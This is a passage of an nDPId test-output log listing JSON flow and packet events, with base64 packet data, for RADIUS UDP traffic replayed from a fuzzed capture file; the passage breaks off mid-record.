+01278{"flow_id":54,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":247,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1528997997,"pkt_ts_usec":929387,"pkt_caplen":691,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":691,"pkt_l4_len":657,"pkt":"AAAMB6xAABRP+4rqCABFAAKlIThAAP8RAAAKDEAexuIZNXIQBxUCkQAABIYCiWTbrkYoE6dP3NRell25+W4aCgAAV8gOBFVTGgwAAFfIDQZ3aWZpGg8AAFfICQlXSVNQUjEwGQVTUEMaCQAAOCENAzkBNTAzMTE0ODAwNzM2MzgwNzJAd2xhbi5tbmM0ODAubWNjMzExLjNncHBuZXR3b3JrLm9yZ34IMWNpc2NvBQYAAAAIBAasFAEQCAasFAEWYRQAQP6AAAAAAAAAAAAAAAAAAAAgDlZaV0MyVGVzdExhYhoMAAA3YwEGAAAAAiwgNWIyMmE4NjQvZjA6Nzk6NjA6ZDE6N2Q6MzcvMjM0PQYAAAATGjEAAAAJASthdWRpdC1zZXNzaW9uLWlkPTEwZmYxMGFjMDAwMDAwY2I2NGE4MjI1Yi0GAAAAAUAGAAAADEEGAAAABlEENTY3BlsiqG0aFAAAV8gHDlZaV0MyVEMkdExhYhoKAABXyAgERVQaEAAAV8gKClN0YW5kYXJkGhAAAFfICwpUZXN0IExhYhoJAABXyA8DMRoKAABXyBAETkoaEQAAV8gRC0x5bmRodXJzdBoMAABXyBIGAAAAyRoXAABXyB0RVlpXIEMyIFRlc3QgTGFiGgsAAFfIJQVWelcaDQAAOCEOBzA3MDcxGgwAADghEQYAAAAAGhUAADghEg9JbnZhbGlkIFZhbHVlGh0AADghExdHMC44MDQ4ODJOLTc0LjEwMjgzOVcaDAAAOCEUaAAAAQIaDAAAOCEVBgAAAAIaFQAAOCEWD1N0YWRpdW1EaXJlY3QoBgAVAAEfE2YwLTc5LTYwLWQxLTdkLTM3HiUlAC1hNy00Jaqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqg=="} +00527{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":247,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":54,"flow_packet_id":1,"flow_first_seen":1528997997929,"flow_last_seen":0,"flow_tot_l4_data_len":657,"flow_min_l4_data_len":657,"flow_max_l4_data_len":657,"flow_avg_l4_data_len":657,"midstream":0,"l3_proto":"ip4","src_ip":"10.12.64.30","dst_ip":"198.226.25.53","src_port":29200,"dst_port":1813,"l4_proto":"udp","ndpi": {"proto":"Radius","breed":"Acceptable","category":"Network"}} +00550{"flow_id":54,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":248,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1528997998,"pkt_ts_usec":6548,"pkt_caplen":147,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":147,"pkt_l4_len":113,"pkt":"ABRP+4rqcNuYVcUnCABFAACF2NZAAPwRe0\/G4hk1CgxAHgcVchAAcWngBYYAafOBk\/MbbTEmOF2SETjhcxsBNTAzMTE0ODAwNzM2MzgwNzJAd2xhbi5tbmM0ODAubWNjMzExLjNncHBuZXR3b3JrLm9yZywgNWIyMmE4NjQvZjA6Nzk6NjA6ZDE6N2Q6MzcvMjM0"} +00493{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":250,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":55,"flow_packet_id":1,"flow_first_seen":1528998009111,"flow_last_seen":0,"flow_tot_l4_data_len":205,"flow_min_l4_data_len":205,"flow_max_l4_data_len":205,"flow_avg_l4_data_len":205,"midstream":0,"l3_proto":"ip4","src_ip":"198.226.25.53","dst_ip":"65.12.64.30","src_port":1812,"dst_port":29200,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00676{"flow_id":55,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":250,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1528998009,"pkt_ts_usec":111226,"pkt_caplen":239,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":239,"pkt_l4_len":205,"pkt":"ABRP+4rqcNuYVcUnCABFAADhCFZAAPsRTHTG4hk1QQxAHgcUchAAzZhiC4cAxfpcYMkIJQAq\/AYDHQwJPKgBNTAzMTE0ODAyNTA4NjQ2MjhAd2xhbi5tbmM0ODAubWNjMzExLjNncHBuZXR3b3JrLm9yZywgNWIyMmE4NzgvMDA6NTY6Y2Q6NmQ6NDI6NTkvMjM1T0oBAgBIFwEAAAEFAAD1MaNN\/eVrXVA5NyB7PdAiAgUAAKijzKdTogAAg+UMifaIvECLAQACCQUAAKm646oYz3UcK6LI7VxSaVlQEnCDxzf23chcIFKFSs5a0So="} +00527{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":250,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":55,"flow_packet_id":1,"flow_first_seen":1528998009111,"flow_last_seen":0,"flow_tot_l4_data_len":205,"flow_min_l4_data_len":205,"flow_max_l4_data_len":205,"flow_avg_l4_data_len":205,"midstream":0,"l3_proto":"ip4","src_ip":"198.226.25.53","dst_ip":"65.12.64.30","src_port":1812,"dst_port":29200,"l4_proto":"udp","ndpi": {"proto":"Radius","breed":"Acceptable","category":"Network"}} +00493{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":253,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":56,"flow_packet_id":1,"flow_first_seen":1528998013338,"flow_last_seen":0,"flow_tot_l4_data_len":637,"flow_min_l4_data_len":637,"flow_max_l4_data_len":637,"flow_avg_l4_data_len":637,"midstream":0,"l3_proto":"ip4","src_ip":"10.12.69.30","dst_ip":"198.226.25.53","src_port":29200,"dst_port":1813,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +01250{"flow_id":56,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":253,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1528998013,"pkt_ts_usec":338207,"pkt_caplen":671,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":671,"pkt_l4_len":637,"pkt":"AAAMB6xAABRP+4rqCABFAAKRITtAAP8RAAAKDEUexuIZNXIQBxUCfQAABIkCdRaYwGBcpHTMfyd7vuQnfxIaCgAAV8gOBFVTGgwAAFfIDQZ3aWZpGg8AAFfICQlXSVNQUjEwGQVTYkMaCQAAOCENAzGqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqo="} +00527{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":253,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":56,"flow_packet_id":1,"flow_first_seen":1528998013338,"flow_last_seen":0,"flow_tot_l4_data_len":637,"flow_min_l4_data_len":637,"flow_max_l4_data_len":637,"flow_avg_l4_data_len":637,"midstream":0,"l3_proto":"ip4","src_ip":"10.12.69.30","dst_ip":"198.226.25.53","src_port":29200,"dst_port":1813,"l4_proto":"udp","ndpi": {"proto":"Radius","breed":"Acceptable","category":"Network"}} +00551{"flow_id":54,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":254,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1528998013,"pkt_ts_usec":405684,"pkt_caplen":147,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":147,"pkt_l4_len":113,"pkt":"ABRP+4rqcNuYVcUnCABFAACF2RVAAPwRexDG4hk1CgxAHgcVchAAcUrEBbcAaShyHYE9O1\/+qc2DoEUV8fmqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqq"} +00494{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":255,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":56,"flow_packet_id":1,"flow_first_seen":1528998013338,"flow_last_seen":0,"flow_tot_l4_data_len":637,"flow_min_l4_data_len":637,"flow_max_l4_data_len":637,"flow_avg_l4_data_len":637,"midstream":0,"l3_proto":"ip4","src_ip":"10.12.69.30","dst_ip":"198.226.25.53","src_port":29200,"dst_port":1813,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00494{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":255,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":55,"flow_packet_id":1,"flow_first_seen":1528998009111,"flow_last_seen":0,"flow_tot_l4_data_len":205,"flow_min_l4_data_len":205,"flow_max_l4_data_len":205,"flow_avg_l4_data_len":205,"midstream":0,"l3_proto":"ip4","src_ip":"198.226.25.53","dst_ip":"65.12.64.30","src_port":1812,"dst_port":29200,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00493{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":255,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":57,"flow_packet_id":1,"flow_first_seen":1528998226495,"flow_last_seen":0,"flow_tot_l4_data_len":711,"flow_min_l4_data_len":711,"flow_max_l4_data_len":711,"flow_avg_l4_data_len":711,"midstream":0,"l3_proto":"ip4","src_ip":"10.12.82.30","dst_ip":"198.226.25.53","src_port":29200,"dst_port":1812,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +01351{"flow_id":57,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":255,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1528998226,"pkt_ts_usec":495276,"pkt_caplen":745,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":745,"pkt_l4_len":711,"pkt":"AAAMB6xAABRP+4rqCABFAALbITxAAP8RAAAKDFIexuIZNXIQBxQCxwAAAYoCv\/zOwB93ue+XnMHxJmANBSoaCgAAV8gOBFVTGgwAAFfIDQZ3aWZplw8AAFfICQlXSVNQUjEwGgkAADghDQMyNwZbIqlSATUwMzExNDgwMDczNjM4MDcyQHdsYW4ubW5jNDgwLm1jYzMxMS4zZ3BwbmV0d29yay5vcmdZAxB+CDFjaXNjb4MGAAAAAR8TZjAtNzktNjAtZDEtN2QtMzceJTAwLWE3LTQyLWQwLWUwLTAwOlZlcml6b25XaUZpQWNjZXNzBQYAAAAIGjEAAAAJASthdWRpdC1zZXNzaW9uLWlkPTEwZmYxMGFjMDAwMDAwY2U1MmE5MjI1YiwgNWIyMmE5NTIvZjA6N286NjA6ZDE6N2Q6M0EvMjOBBAasFAEQIA5WWldDMlRlc3RMYWIaDAAAN2MBBgAAAAIGBgAAAAIMBgAABRQ9BgAAABNABgAAAA1BBgAAAAZRBDU2TzoCCQA4ATAzMTE0ODAwNzM2MzgwNzJAd2xhbi5tbmM0ODAubWNjMzExLjNncHBuZXR3b3JrLm9yZxoUAABXyAcOVlpXQzJUZXN0TGFiGgoAAFfICARFVBoQAABXyAoKU3S3bmRhcmQaEAAAV8gLClRlc3QgTGFiGgkAAFfIDwMxGgoAAFfIEAROShoRAABXyBELTHluZGh1cnN0GgwAAFfIEgYAAADJGhcAAFfIHRFWWlcgQzIgVGVzdCCSYWIaCwAAV8glBVZ6VxoNAAA4IQ4HMDcwNzEaDAAAOCERBgAAAAAaFQAAOCESD0ludmFsaWQgVmFsdWUaHQAAOCETFzQwLjgwNDg4Mk4tNzQuMTAyODM5VxoMAAA4IRQGAAABAhoMAAA4IRUGAAAAAv4VAAA4IRYPU3RhZGl1bURpcmVjdBoMAAAFg2kGwFBKmVAShzmsVPaY1NdsDR28hGUq6w=="} +00527{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":255,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":57,"flow_packet_id":1,"flow_first_seen":1528998226495,"flow_last_seen":0,"flow_tot_l4_data_len":711,"flow_min_l4_data_len":711,"flow_max_l4_data_len":711,"flow_avg_l4_data_len":711,"midstream":0,"l3_proto":"ip4","src_ip":"10.12.82.30","dst_ip":"198.226.25.53","src_port":29200,"dst_port":1812,"l4_proto":"udp","ndpi": {"proto":"Radius","breed":"Acceptable","category":"Network"}} +00493{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":256,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":58,"flow_packet_id":1,"flow_first_seen":1528998226700,"flow_last_seen":0,"flow_tot_l4_data_len":205,"flow_min_l4_data_len":205,"flow_max_l4_data_len":205,"flow_avg_l4_data_len":205,"midstream":0,"l3_proto":"ip4","src_ip":"198.226.25.53","dst_ip":"10.12.64.66","src_port":1812,"dst_port":29200,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00674{"flow_id":58,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":256,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1528998226,"pkt_ts_usec":700121,"pkt_caplen":239,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":239,"pkt_l4_len":205,"pkt":"AGRP+4rqcNuYVcUnCABFAADhCw9AAPwRSLvG4hk1CgxAQgcUchAAzUSUJQAAxU7iei8YAqXgQzF8ViRYUTYBNTAzMTE0ODAwNzM2UzgwNzJAd2xhbi5tbmM0ODAubWNjMzExLjNncHBuZXSqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqo="} +00526{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":262,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":58,"flow_packet_id":1,"flow_first_seen":1528998226700,"flow_last_seen":0,"flow_tot_l4_data_len":205,"flow_min_l4_data_len":205,"flow_max_l4_data_len":205,"flow_avg_l4_data_len":205,"midstream":0,"l3_proto":"ip4","src_ip":"198.226.25.53","dst_ip":"10.12.64.66","src_port":1812,"dst_port":29200,"l4_proto":"udp","ndpi": {"proto":"Radius","breed":"Acceptable","category":"Network"}} +00494{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":262,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":58,"flow_packet_id":1,"flow_first_seen":1528998226700,"flow_last_seen":0,"flow_tot_l4_data_len":205,"flow_min_l4_data_len":205,"flow_max_l4_data_len":205,"flow_avg_l4_data_len":205,"midstream":0,"l3_proto":"ip4","src_ip":"198.226.25.53","dst_ip":"10.12.64.66","src_port":1812,"dst_port":29200,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00494{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":262,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":57,"flow_packet_id":1,"flow_first_seen":1528998226495,"flow_last_seen":0,"flow_tot_l4_data_len":711,"flow_min_l4_data_len":711,"flow_max_l4_data_len":711,"flow_avg_l4_data_len":711,"midstream":0,"l3_proto":"ip4","src_ip":"10.12.82.30","dst_ip":"198.226.25.53","src_port":29200,"dst_port":1812,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00493{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":264,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":59,"flow_packet_id":1,"flow_first_seen":1528998238764,"flow_last_seen":0,"flow_tot_l4_data_len":663,"flow_min_l4_data_len":663,"flow_max_l4_data_len":663,"flow_avg_l4_data_len":663,"midstream":0,"l3_proto":"ip4","src_ip":"88.12.80.30","dst_ip":"198.226.25.53","src_port":29200,"dst_port":1812,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +01287{"flow_id":59,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":264,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1528998238,"pkt_ts_usec":764613,"pkt_caplen":697,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":697,"pkt_l4_len":663,"pkt":"AAAMB6xAABRP+4rqCABFAAKrIUFAAP8RAABYDFAexuIZNXIQBxQClwAAAY8CjztV4Oh\/RVHKhHSmtgpLCVwaCgAAV8gODFVTGgwAAFfIDQZ3aWZpGg8AAFfICQlXSVNQUjEwGgkAADghDQMzNwZbIqleATUwMzExNDgwMjgxNTAxNTg5QHdsYW4ubW5jNDgwLm1jYzMxMS4zMXBwbmV0d29yay5vcmdZAxB+CDFjaXNjb4MGAAAAAR8TZTAtNWYtNDUtOTAtMDktNWYeJTAwLWE3LTQyLWQwLWUwLTAwOlZlcml6b25XaUZpQWNjZXNzBQYAAAAIGjEAAAAJASthdWRpdC1zZXNzaW9uLWlkPTEwZmYxMGFjMDAwMDAwY2Y1bWE5Muo1YiwgNWIyMmE5NWEvZTA6NWY6NDU6OTA6MDk6NWYvMjM4BAasOgEQIA5WWldDMlRlc3RMYWIaDAAAN2MBBgAAAAIGBgAAAAIMBgAABRQ9BgAAABNABgAAAA1PBgAAAAZRBDU2TwoCAAAIFwwAABoUAABXyAcOVlpXQzJUZXN0TGFiGgoAAFfICARFVBoQAABXyAoKU3RhLmRhcmQaEAAAV8gLClRlc3QgTGFiGgkAAFfIDwMxGgoAAFfIEAROShoRAABXyBELTHluZGh1cnN0GgwAAFfIEgYAAADJGhcAAFfIHRFWWlcgQzIgVGVzdCBMYWIaCwAAV8glBVZ6VxoNAAA4IQ4HMDcwNzEaDAAAOCERBgAAAAAaFQAAOCESj0ludmFszGQgVmFsdWUawgAAOCETFzQwLjgwNDg4Mk4tNzQuMTAyODM5VxoMAAA4IRQGAAABAhoMAAA5IRUGAAAAAhoVAAA4IRYPU3RhZGl1bURpcmVjdBoMAAAFgwcGwFBKmVASxHIw401BJN8oimEroWhW+Q=="} +00527{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":264,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":59,"flow_packet_id":1,"flow_first_seen":1528998238764,"flow_last_seen":0,"flow_tot_l4_data_len":663,"flow_min_l4_data_len":663,"flow_max_l4_data_len":663,"flow_avg_l4_data_len":663,"midstream":0,"l3_proto":"ip4","src_ip":"88.12.80.30","dst_ip":"198.226.25.53","src_port":29200,"dst_port":1812,"l4_proto":"udp","ndpi": {"proto":"Radius","breed":"Acceptable","category":"Network"}} +00494{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":270,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":59,"flow_packet_id":1,"flow_first_seen":1528998238764,"flow_last_seen":0,"flow_tot_l4_data_len":663,"flow_min_l4_data_len":663,"flow_max_l4_data_len":663,"flow_avg_l4_data_len":663,"midstream":0,"l3_proto":"ip4","src_ip":"88.12.80.30","dst_ip":"198.226.25.53","src_port":29200,"dst_port":1812,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +01352{"flow_id":16,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":274,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1528998257,"pkt_ts_usec":171672,"pkt_caplen":745,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":745,"pkt_l4_len":711,"pkt":"AAAMB6xAABRP+4rqCABFAALbtPNAAP8RAAAKDEAexuIZPnIQBxQCxwAAAZQCv\/QjF2fWlNBdxlblaWkTeyMaCgAAV8gOBFVTGgwAAFfIDQZ3aWZpGg8AAFfICQlXSVNQUjEwGgkAADghDQM1NwZbIqlxATUwMzExNDgwMjgxNTAxNTg5QHdsYW4ubW5jNDgwLm1jYzMxMS4zZ3BwbmV0d29yay5vcmdZAxB+CDFjaXNjb4MGAAAAAR8TZTAtNWYtNDUtOTAtMDktNWYeJTAwLWE3LTQyLWQwLWUwLTAwOlZlcml6b25XaUZpQWNjZXNzBQYAAAAIGjEAAAAJASthdWRpdC1zZXNzaW9uLWlkPTEwZmYxMGFjMDAwMDAwY2Y1YWE5MjI1YiwgNWIyMmE5NWEvZTA6NWY6NDU6OTA6MDk6NWYvMjM4BAasFAEQIA5WWldDMlRlc3RMYWIaDAAAN2MBBgAAAAIGBgAAAAIMBgAABRQ9BgAAABNABgAAAA1BBgAAAAZRBDU2bzoCAQA4ATAzMTE0ODAyODE1MDE1ODlAd2xhbi5tbmM0ODAlAEZjMzExLjNncHBuZXR3b3JrLm9yZxoUAABXyAcOVlpXQzJUZXN0TGFiGgoAAFfICARFVBoQAABXyAoKU3RhbmRhcmQaEAAAV8gLClRlc3QgTGFiGgkAAFfIDwMxGmwAAFfIEAROShoRAABXyE0LTHluZGh1cnN0GgwAAFfIEgYAAAjJGhcAAFfIHRFWWlcgQzIgVGVzdCBMYWIaCwAAV8glBVZ6VxoNAAA4IQ4HMDcwNjEaDAAAOCERBgAAAEIaFQAAOCESD0ludmFsaWQgVmFsdWUaHQAAOCFMFzQwLjgwNDg4Mk4tN3kuxzAyODM5VxoMAAA4IRQGAAABAhoMAAA4IRUGAAAAAhoVAAA4IRYPU3RhZGl1bURpcmVjdBoMAAAFgwcGwFBKmVAS4SWykyhQ3NEVyrk907GZpA=="} +00596{"flow_id":16,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":275,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1528998257,"pkt_ts_usec":238494,"pkt_caplen":179,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":179,"pkt_l4_len":145,"pkt":"ABRP+4rqcNuYVcUnCABFAAClC51AAPwRSGDG4hk+CgxAHgcUchAAkfysC5QAiW3tOcJvsUMExQ3khIQf5JsBNTAzMTE0ODAyODE1MDE1ODlAd2xhbi5tbmM0ODAubWNjMzExLjNncHBuZXR3b3JrLm9yZywgNWIyMmE5NWEvZTA6NWY6NDU6OTA6MAI6NWYvMjM4Tw4BAAAMFwwAAAwBf\/xQEttbuyUYSqflHrLDivPrVrc="} +01247{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":276,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1528998257,"pkt_ts_usec":392177,"pkt_caplen":697,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":697,"pkt_l4_len":0,"pkt":"AAAMB6xAABRP+4rqCABFAAKrtPRAZP8RAAAKLEAexuIZPnIQBxQClwAAAZUCj2QnnzQfo5ejlXtjb\/umlWwaCgAAV8gOBFVTGgwAAFfIDQZ3aWZpGg8AAFfICQlXSVNQUjEwGgkAADghDQM1NwZbIqlxATUwMzExNDgwMjgxNTAxNTg5QHdsYW4ubW5jNDgwLm1jYzMxMS4zZ3BwbmV0d29yay5vcmdZAxB+CDFjaXNib4OUAAAAAR8TZTAtNWYtNDUtOTAtMDktNWYeJTAwLWE3LTQyLWQwLWUwLTEwOlZlcml6b25XaTZpQWNjZXNzBQYAAAAIGjEAAAAJASthdWRpdC1zZXOqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqg=="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":276,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","l4_data_len":663} +00492{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":278,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":60,"flow_packet_id":1,"flow_first_seen":1528998260755,"flow_last_seen":0,"flow_tot_l4_data_len":711,"flow_min_l4_data_len":711,"flow_max_l4_data_len":711,"flow_avg_l4_data_len":711,"midstream":0,"l3_proto":"ip4","src_ip":"10.6.64.30","dst_ip":"198.226.25.53","src_port":29200,"dst_port":1812,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +01350{"flow_id":60,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":278,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1528998260,"pkt_ts_usec":755072,"pkt_caplen":745,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":745,"pkt_l4_len":711,"pkt":"AAAMB6xAABRO+4rqCABFAALbIUZAAP8RAAAKBkAexuIZNXIQBxQCxwAAAZYCv2ld+75N6br3Aseqn5DA044aCgAAV8gOBFVTGgwAAFfIDQZ3aWZpGg8AAFfICQlXSVNQUjEwGgkAADghDQM2N2hbIql0ATUwMzExNDgwMjgxNTAxNTg5QHdsYW4ubW5jNDgwLm1jYzMxMS4zZ3BwbmV0d29yay5vcmdZAxB+CDFjaXNjb4MGAAAAAR8TZTAtNVctNDUtOTAtMDktNWYeJTAwLWE3LTQyLWQwLWUwLTAwOlZlcml6b25XaUZpQWNjZXNzBQYAAAAIGjEAAAAJASthdWRpdC1zZXNzaW9uLWlkPTEwZmYxMGFjMDAwMDAwY2Y1YWE5MjI1YiwgNWIyMmE5NWEvZTA6NWY6NDU6ZTA6MDk6NWYvMjM4BAasFAEQIA5WWldDMlRlc3RMYWIaDAAAN2MBBgAAAAIGBgAAAAIMBgAABRQ9BgAAABNABgAAAA1qBgAAAAZRBDU2TzoCAQA4AzAzMTE0ODAyODE1MDE1ODlAd2xhbi5tbmM0ODAubWNjYjExLjNncHBuZXR3b3JrLm9yZxoUAABXyAcOVlpXQzJUZXN0TGFiGgoAAFfICARFVBoQAABXyAoKU3RhbmRhcmQaQQAAV8gLClS8c3QgTGFiGgkAAFfIDwMxGgoAAFfIEAROShoRAABXyBELTHluZGh1cnN0GgwAgFfIEgYAAADJGhcAAFfIHRFWWlcgQzIgVGVzdCBMYWIaCwAAV8glBVZ6VxoNAAA4IQ4HMDcwNzEaDAAAOCERBgAAAAAaFQQAOCESD0ludmFsaWQgVmFsdWUaHQAAOCETFzQwLjgwNDg4Mk4tNzQuMTAyODM5VxoMAAA4IRQGAAABAhoMAAA4IRUGAA